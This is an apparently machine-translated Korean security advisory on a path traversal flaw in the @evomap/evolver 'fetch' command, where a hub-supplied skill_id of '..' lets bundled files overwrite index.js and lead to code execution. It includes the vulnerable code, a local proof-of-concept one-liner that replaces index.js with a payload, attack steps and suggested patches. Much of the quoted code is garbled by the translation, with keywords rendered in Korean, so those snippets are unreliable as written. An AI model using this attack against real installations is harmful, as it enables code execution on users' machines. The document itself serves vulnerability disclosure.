@evomap/evolver: `evolver fetch` 기본 분기 `safeId`의 경로 탐색을 통해 허브 제어로 프로젝트 파일 덮어쓰기(RCE)가 허용됩니다.
index.js의 evolver fetch 하위 명령은 허브 제공 bundled_files[]를 허브 제공 skill_id에서 파생된 디렉터리에 씁니다. --out을 사용하지 않는 경우 경로 삭제 정규식은 . 문자를 허용하여 ..의 skill_id가 skills/ 하위 디렉터리를 이스케이프하고 사용자의 현재 작업 디렉터리로 확인되도록 허용합니다. 파일 확장자 허용 목록(.js/.json/.sh/.py/.md 포함)과 결합하면 악의적인 허브가 피해자의 index.js, package.json 또는 cwd의 다른 파일을 덮어쓰고 다음번 Evolutionr 호출 시 원격 코드 실행이 가능해집니다.
취약한 코드는 'fetch' 명령 핸들러에 있습니다:
``js // index.js:847-873 const 데이터 = resp.json()을 기다립니다; const outFlag = args.find(a => typeof a === 'string' && a.startsWith('--out=')); const safeId = String(data.skill_id || SkillId).replace(/[^a-zA-Z0-9_-.]/g, '_'); 내보내다Dir; if (outFlag) { const rawOut = outFlag.slice('--out='.length); // ... constsolveOut = path.resolve(process.cwd(), rawOut); const cwd = path.resolve(process.cwd()); const rel = path.relative(cwd,solvedOut); if (rel.startsWith('..') || path.isAbsolute(rel)) { // <-- --out에 대한 순회 검사가 존재합니다. console.error('[fetch] --out=은 현재 작업 디렉터리 내부의 경로를 확인해야 합니다.'); 프로세스.종료(1); } outDir = 해결됨; } 그렇지 않으면 { outDir = path.join('.', 'skills', safeId); // <-- 순회 검사 없음 }
if (!fs.existsSync(outDir)) fs.mkdirSync(outDir, { recursive: true });
세 가지 문제로 구성됩니다.
1. **정규식 허용 목록은 `.`** — `[^a-zA-Z0-9_\-\.]`를 허용하여 이 세트 *외부의* 문자만 제거하므로 리터럴 점이 보존됩니다. `..`의 `skill_id`(확인됨: `'..'.replace(/[^a-zA-Z0-9_\-\.]/g,'_') === '..'`)는 정리 후에도 유지됩니다.
2. **`path.join`은 `..` 순회를 축소합니다** — `path.join('.', 'skills', '..')`는 `'.'`(cwd)으로 평가되므로 `outDir`은 이제 `./skills/<id>`가 아닌 사용자의 작업 디렉터리입니다.
3. **순회 검증은 `--out` 분기에서만 실행됩니다** — 기본 분기(`evolver fetch --skill <id>`에 대해 문서화된 일반적인 사례)에는 `path.relative(...).startsWith('..')` 검사가 없습니다.
번들 파일 쓰기 루프:
``js
// index.js:881-906
const ALLOWED_SKILL_EXTENSIONS = 새로운 설정([
'.js', '.mjs', '.cjs', '.ts', '.json', '.md', '.txt',
'.sh', '.py', '.yml', '.yaml',
]);
// ...
for(번들의 const 파일) {
if (!file || !file.name || typeof file.content !== 'string') 계속;
const safeName = path.basename(파일.이름); // "index.js"의 기본 이름은 "index.js"입니다.
const ext = path.extname(safeName).toLowerCase();
if (!ALLOWED_SKILL_EXTENSIONS.has(ext)) { /* 건너뛰기 */ 계속; }
if (Buffer.byteLength(file.content, 'utf8') > MAX_SKILL_FILE_BYTES) { /* 건너뛰기 */ 계속; }
fs.writeFileSync(path.join(outDir, safeName), file.content, 'utf8');
}
path.basename은 파일 이름에서 디렉터리 구성 요소를 제거하지만 index.js의 기본 이름은 여전히 index.js입니다. 확장 허용 목록에는 .js가 포함되어 있으므로 공격자는 ./index.js(evolutionr 진입점 자체), ./package.json, ./SKILL.md 등을 작성할 수 있습니다.
허브 응답에는 서명 확인이 없습니다. buildHubHeaders()는 나가는 요청만 인증합니다. 응답 본문은 있는 그대로 신뢰됩니다. 허브는 네트워크 참가자가 업로드한 기술을 저장하므로 저장된 skill_id 필드를 ..로 설정할 수 있는 모든 참가자는 다운로드할 때마다 이를 트리거합니다.
index.js:849-905의 정확한 코드 경로를 재현합니다.
``배쉬
cd /tmp && rm -rf 진화-poc-검증 && mkdir 진화-poc-검증 &&
cp /path/to/EvoMap-evolver-src/index.js 진화-poc-유효화/
CD 진화-poc-검증
wc -l index.js # 1098 index.js (합법적)
노드 -e " const fs=require('fs'),path=require('경로'); const 데이터={ Skill_id:'..', 내용:'x', Bundled_files:[{이름:'index.js',content:'#!/usr/bin/env node\nconsole.log("PWNED");'}] }; const safeId=String(data.skill_id||'x').replace(/[^a-zA-Z0-9_-.]/g,'_'); const outDir=path.join('.','skills',safeId); console.log('safeId:',JSON.stringify(safeId)); // '..' console.log('outDir:',JSON.stringify(outDir)); // '.' if(!fs.existsSync(outDir))fs.mkdirSync(outDir,{recursive:true}); for(data.bundled_files의 const f){ const n=path.basename(f.name); fs.writeFileSync(path.join(outDir,n),f.content); }"
wc -l index.js # 1 index.js (clobbered) 헤드 -3 index.js
검증된 출력: 1098 → 1줄; 합법적인 진화 진입점은 공격자가 제어하는 JavaScript로 대체됩니다. 후속 `node index.js <command>`(사용자가 지속적으로 실행하는 `--loop` 데몬 모드 포함)는 공격자 페이로드를 실행합니다.
엔드투엔드 공격:
1. 공격자는 저장된 `skill_id`가 `..`인 A2A 허브에 스킬을 업로드합니다(또는 악성 허브를 작동/연결을 제한/악성 `A2A_HUB_URL` 제공).
2. 악성 응답에는 `bundled_files: [{name: 'index.js', content: '<attacker JS>'}]`도 포함됩니다.
3. 피해자는 에볼버 체크아웃(문서화된 사용법)에서 `node index.js fetch --skill=anything`을 실행합니다.
4. `./index.js`를 덮어씁니다.
5. 피해자의 다음 `node index.js` 호출(`node index.js --help` 또는 `run --loop` 데몬이라도)은 피해자의 권한으로 공격자 코드를 실행합니다.
## 영향
- Evolutionr 프로세스의 권한으로 피해자 환경에서 **원격 코드 실행**. 루프 데몬(`node index.js run --loop`)은 문서화된 장기 실행 모드이기 때문에 악성 코드는 일반적으로 다음 반복 후 몇 초 내에 실행됩니다.
- 공격자는 `package.json`(허용된 확장자), `SKILL.md`, `.env`-인접 `.json`/`.yaml`/`.yml` 구성 파일 및 cwd에 이미 존재하는 모든 화이트리스트 파일을 덮어쓸 수도 있습니다.
- 신뢰 경계 위반: 'evolver fetch'가 *다운로드* 작업으로 표시됩니다. 사용자는 애플리케이션 바이너리나 프로젝트 파일을 덮어쓰는 것을 기대하지 않습니다. `--out` 분기는 정확히 이에 대해 강화되었습니다. 기본 분기가 누락되었습니다.
- 단일 악성 기술 업로드로 인해 해당 기술을 가져오는 모든 사용자가 손상됩니다.
## 권장 수정 사항
결합하기 전에 단일 비순회 경로 세그먼트가 아닌 `safeId` 값을 거부하거나 `--out` 분기에 사용된 것과 동일한 `path.relative` 검사를 재사용하세요. `index.js:849`에 대한 최소 패치:
``js
const safeId = String(data.skill_id || SkillId).replace(/[^a-zA-Z0-9_\-\.]/g, '_');
만약 (
safeId === '' ||
safeId === '.' ||
safeId === '..' ||
safeId.includes('/') ||
safeId.includes('\\') ||
safeId.include('\0')
) {
console.error('[fetch] 허브가 잘못된 Skill_id를 반환했습니다: ' + JSON.stringify(safeId));
프로세스.종료(1);
}
심층 방어 - 기존 순회 검사를 기본 분기에도 적용합니다.
``js } 그렇지 않으면 { const 후보 = path.resolve(process.cwd(), 'skills', safeId); const SkillRoot = path.resolve(process.cwd(), 'skills'); const rel = path.relative(skillsRoot, 후보); if (rel.startsWith('..') || path.isAbsolute(rel)) { console.error('[fetch] 허브가 Skill/ 디렉터리를 이스케이프하는 Skill_id를 반환했습니다.'); 프로세스.종료(1); } outDir = 후보; }
또한 다음을 고려하십시오.
- 정규식 허용 목록에서 `.` 제거(스킬 ID에는 일반적으로 점이 필요하지 않음)
- 파일을 디스크에 쓰기 전에 응답 페이로드에 대해 허브 제공 서명을 확인합니다.
- `outDir`에 관계없이 최상위 프로젝트 파일(`index.js`, `package.json`, `package-lock.json` 등)과 일치하는 번들 파일 `safeName` 값을 허용하지 않습니다.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 88.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 88.00 |
VPI 공식 vpi-v1 기준